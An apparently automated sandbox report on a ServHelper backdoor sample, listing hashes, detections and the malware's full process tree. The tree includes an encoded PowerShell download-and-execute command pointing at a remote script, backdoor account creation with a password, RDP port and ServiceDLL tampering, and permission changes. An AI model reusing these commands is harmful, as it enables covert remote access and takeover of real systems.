Analysis

  • max time kernel
    137s
  • max time network
    180s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    22-09-2021 07:10

General

  • Target

    61d5e32562d1c70daf0a3112f7888258.exe

  • Size

    5.7MB

  • MD5

    61d5e32562d1c70daf0a3112f7888258

  • SHA1

    11c54ce99e87637f58c7bc0bd8134c73df9bf879

  • SHA256

    da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605

  • SHA512

    9cad97c4c71535a2391ad73d13e27748300e3147a3383d4eee85caadb461815f9ee8e9b172e732df16813fa8f5ffdc7115e2740778ebc51c536ab06fc7910cc2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\61d5e32562d1c70daf0a3112f7888258.exe
    "C:\Users\Admin\AppData\Local\Temp\61d5e32562d1c70daf0a3112f7888258.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1316
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\05jmqopu\05jmqopu.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:656
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES32A3.tmp" "c:\Users\Admin\AppData\Local\Temp\05jmqopu\CSCA0D889081A1743489B4E2093EAD758D3.TMP"
          4⤵
            PID:796
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1480
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1096
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1836
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:688
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1396
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1772
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1964
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1056
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1672
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1888
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1840
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1108
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1600
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:336
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1492
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:784
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1708
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1092
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1552
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1608
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1132
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:296
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1692
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:2012
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:792
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:688
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1096
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1652
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:688
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc M6LqWVFh /add
                                  1⤵
                                    PID:1396
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc M6LqWVFh /add
                                      2⤵
                                        PID:1620
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc M6LqWVFh /add
                                          3⤵
                                            PID:1504
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:624
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1508
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1636
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:524
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:1732
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:1492
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1388
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1224
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1796
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc M6LqWVFh
                                                          1⤵
                                                            PID:1256
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc M6LqWVFh
                                                              2⤵
                                                                PID:1336
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 user WgaUtilAcc M6LqWVFh
                                                              1⤵
                                                                PID:1096
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1564
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1396
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1636
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1824
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1492
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1688
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1628

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/1096-129-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1096-134-0x00000000023B0000-0x00000000023B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1096-133-0x0000000002670000-0x0000000002671000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1096-131-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1096-127-0x000000001AA20000-0x000000001AA22000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1096-128-0x000000001AA24000-0x000000001AA26000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1316-86-0x000000001B670000-0x000000001B671000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1316-66-0x000007FEFB761000-0x000007FEFB763000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1316-71-0x00000000023F0000-0x00000000023F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1316-70-0x000000001AA74000-0x000000001AA76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1316-101-0x000000001AA7A000-0x000000001AA99000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1316-72-0x0000000002600000-0x0000000002601000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1316-74-0x000000001C400000-0x000000001C401000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1316-69-0x000000001AA70000-0x000000001AA72000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1316-82-0x00000000022E0000-0x00000000022E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1316-68-0x000000001AAF0000-0x000000001AAF1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1316-67-0x0000000002540000-0x0000000002541000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1316-84-0x000000001A9F0000-0x000000001A9F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1316-85-0x000000001B460000-0x000000001B461000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1316-156-0x000000001C8A0000-0x000000001C8A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1480-99-0x000000001AC00000-0x000000001AC01000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1480-95-0x0000000002490000-0x0000000002491000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1480-119-0x000000001ABF0000-0x000000001ABF1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1480-120-0x000000001AC50000-0x000000001AC51000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1480-94-0x000000001AC74000-0x000000001AC76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1480-93-0x000000001AC70000-0x000000001AC72000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1480-106-0x000000001B7E0000-0x000000001B7E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1480-97-0x000000001A9A0000-0x000000001A9A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1480-100-0x0000000002320000-0x0000000002321000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1628-233-0x000000001933A000-0x0000000019359000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1628-203-0x0000000019334000-0x0000000019336000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1628-202-0x0000000019330000-0x0000000019332000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1836-154-0x000000001AB70000-0x000000001AB72000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1836-155-0x000000001AB74000-0x000000001AB76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1984-64-0x0000000028157000-0x0000000028158000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1984-61-0x0000000028152000-0x0000000028154000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1984-59-0x0000000041390000-0x000000004178F000-memory.dmp

                                                                        Filesize

                                                                        4.0MB

                                                                      • memory/1984-62-0x0000000028154000-0x0000000028156000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1984-63-0x0000000028156000-0x0000000028157000-memory.dmp

                                                                        Filesize

                                                                        4KB